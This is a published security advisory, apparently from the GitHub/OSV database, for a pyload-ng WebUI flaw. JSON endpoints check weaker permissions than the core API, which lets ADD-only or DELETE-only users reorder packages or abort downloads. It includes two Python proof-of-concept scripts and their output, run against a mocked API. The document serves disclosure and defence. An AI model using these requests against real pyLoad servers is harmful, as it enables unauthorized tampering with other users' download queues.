pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute MODIFY operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
ADDuser can reorder packages/files (order_package,order_file) via/json/package_orderand/json/link_orderDELETEuser can abort downloads (stop_downloads) via/json/abort_link
Details
pyLoad defines granular permissions in core API:
order_packagerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1125)order_filerequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1137)stop_downloadsrequiresPerms.MODIFY(src/pyload/core/api/__init__.py:1046)
But WebUI JSON routes use weaker checks:
/json/package_orderuses@login_required("ADD")then callsapi.order_package(...)(src/pyload/webui/app/blueprints/json_blueprint.py:109-117)/json/link_orderuses@login_required("ADD")then callsapi.order_file(...)(src/pyload/webui/app/blueprints/json_blueprint.py:137-145)/json/abort_linkuses@login_required("DELETE")then callsapi.stop_downloads(...)(src/pyload/webui/app/blueprints/json_blueprint.py:123-131)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with
MODIFY:/json/move_package->@login_required("MODIFY")(json_blueprint.py:188-196)/json/edit_package->@login_required("MODIFY")(json_blueprint.py:202-217)
- The project UI exposes granular per-user permission assignment (
settings.html:184-190), implying these boundaries are intended security controls.
PoC
Environment:
- Repository version:
0.5.0b3(VERSIONfile) - Commit tested:
ddc53b3d7
PoC A (ADD-only user invokes MODIFY-only reorder):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
Observed output:
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as
MODIFY.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking
MODIFY. - Availability impact: unauthorized abort of active downloads by users lacking
MODIFY.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | <= 0.5.0b3 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L- Weakness (CWE)
CWE-285, CWE-863- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 08.04.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2997 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-rfgh-63mg-8pwm - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions this entry
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